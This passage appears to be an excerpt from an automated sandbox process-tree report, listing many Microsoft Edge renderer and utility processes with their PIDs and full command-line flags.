    3⤵
    PID:6992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=9032,i,9423812279266128032,12861504814937400451,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6480 /prefetch:1
    3⤵
    PID:5636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=9096,i,13326859604438018272,17715010335349089339,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:1
    3⤵
    PID:4920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=9132,i,8233935807182153850,4246472608902733798,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:1
    3⤵
    PID:5772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=9284,i,15464440416648040774,17343405106357244979,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:1
    3⤵
    PID:2072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7692,i,18416321432421761272,9228126796887772014,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:1
    3⤵
    PID:7104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=4992,i,4932975549801310735,1970671118725943821,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:1
    3⤵
    PID:6240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=8704,i,3280737225475771918,1687974345113909875,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:1
    3⤵
    PID:6924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=9312,i,118875032678549616,4620462602916937113,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:1
    3⤵
    PID:1308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9628,i,16881308604738214562,15551642545109382223,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:14
    3⤵
    PID:1040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=9436,i,13228383670935352614,4029940979741922464,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10316 /prefetch:1
    3⤵
    PID:6272
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=9388,i,15854072052319081835,16016528465112317548,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
    3⤵
    PID:4804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=9368,i,1763208366836195436,16625876276896579523,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
    3⤵
    PID:2912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=9404,i,13167607526130907937,2267369355869473643,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10256 /prefetch:1
    3⤵
    PID:1208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --metrics-shmem-handle=9416,i,3175651568605079737,17571446391309488461,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10296 /prefetch:1
    3⤵
    PID:5428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --metrics-shmem-handle=9308,i,17046338196073713687,10242946886923134864,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10276 /prefetch:1
    3⤵
    PID:6380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9632,i,1078039009829078976,7472026750489906894,524288 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10460 /prefetch:14
    3⤵
    PID:6428
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=9688,i,3145776328731874118,8033471267468828499,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10608 /prefetch:1
    3⤵
    PID:6752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --metrics-shmem-handle=9852,i,8403896029773175988,4621871974218135189,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10680 /prefetch:1
    3⤵
    PID:6644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=9712,i,6754435924104599385,8151038811737335672,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10612 /prefetch:1
    3⤵
    PID:6756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --metrics-shmem-handle=2580,i,7410965358586567162,17257528196556996526,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10616 /prefetch:1
    3⤵
    PID:1116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --always-read-main-dll --metrics-shmem-handle=8564,i,3836902074274372078,13561248959850519574,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10640 /prefetch:1
    3⤵
    PID:2532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --always-read-main-dll --metrics-shmem-handle=9552,i,9487716461988122343,393977106178419497,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10628 /prefetch:1
    3⤵
    PID:6620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --metrics-shmem-handle=3276,i,7051814574228481683,10835025496130650890,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10660 /prefetch:1
    3⤵
    PID:6636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --always-read-main-dll --metrics-shmem-handle=9876,i,1944098466696224445,18152740006387570215,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6732 /prefetch:1
    3⤵
    PID:6648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --always-read-main-dll --metrics-shmem-handle=3704,i,4570409570471228438,13580267954623897285,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10748 /prefetch:1
    3⤵
    PID:6612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --always-read-main-dll --metrics-shmem-handle=3856,i,14224529976133626586,3470224756181979957,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10804 /prefetch:1
    3⤵
    PID:1832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --always-read-main-dll --metrics-shmem-handle=9924,i,10025297652861244947,10180316487713939922,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=10728 /prefetch:1
    3⤵
    PID:4596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --always-read-main-dll --metrics-shmem-handle=9896,i,4663558909823803379,4739943188688229818,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:1
    3⤵
    PID:6632
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --always-read-main-dll --metrics-shmem-handle=9956,i,3026783278081606025,16550378684455182207,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11016 /prefetch:1
    3⤵
    PID:2352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --always-read-main-dll --metrics-shmem-handle=10036,i,3455145694305901170,4413373860454879321,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11012 /prefetch:1
    3⤵
    PID:7148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --always-read-main-dll --metrics-shmem-handle=10072,i,10871259544154775144,2609727044151960059,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11052 /prefetch:1
    3⤵
    PID:1104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --always-read-main-dll --metrics-shmem-handle=7284,i,1639115080096242513,12359433318020748990,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11140 /prefetch:1
    3⤵
    PID:6748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --always-read-main-dll --metrics-shmem-handle=10100,i,9033052305273345013,7645231200013026426,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11100 /prefetch:1
    3⤵
    PID:6828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --always-read-main-dll --metrics-shmem-handle=3836,i,16920312089170224754,5211599753226863472,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11020 /prefetch:1
    3⤵
    PID:1056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --always-read-main-dll --metrics-shmem-handle=10120,i,16164330552071286923,13441614432920883349,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11112 /prefetch:1
    3⤵
    PID:6744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --always-read-main-dll --metrics-shmem-handle=6296,i,15967215203641452462,13216092536919809290,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11204 /prefetch:1
    3⤵
    PID:6724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --metrics-shmem-handle=7264,i,15291914708355972334,10766827000645633676,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11200 /prefetch:1
    3⤵
    PID:6708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --metrics-shmem-handle=7228,i,15091683825500433039,14486872844759521657,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11244 /prefetch:1
    3⤵
    PID:1388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --metrics-shmem-handle=7212,i,16794893583639380598,9649590090934248687,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11224 /prefetch:1
    3⤵
    PID:6488
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --always-read-main-dll --metrics-shmem-handle=10140,i,1834743698401514109,16571111499542035855,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11296 /prefetch:1
    3⤵
    PID:6248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --always-read-main-dll --metrics-shmem-handle=10124,i,16073992610984101785,13461676756260172438,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11188 /prefetch:1
    3⤵
    PID:6348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --always-read-main-dll --metrics-shmem-handle=10188,i,16860202961826574661,14314651383722264384,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11308 /prefetch:1
    3⤵
    PID:2472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --always-read-main-dll --metrics-shmem-handle=5188,i,743897187131715042,4675777060083811755,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11604 /prefetch:1
    3⤵
    PID:2832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --always-read-main-dll --metrics-shmem-handle=4648,i,1832798742490119176,13266130672701462038,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11600 /prefetch:1
    3⤵
    PID:2192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --always-read-main-dll --metrics-shmem-handle=5064,i,7972100481392777735,4496714804200932044,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11448 /prefetch:1
    3⤵
    PID:6416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --always-read-main-dll --metrics-shmem-handle=10204,i,12291725217925021532,12123261528820538840,2097152 --field-trial-handle=2288,i,510057683275958687,14149269979287526133,262144 --variations-seed-version --mojo-platform-channel-handle=11144 /prefetch:1
    3⤵
    PID:6304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
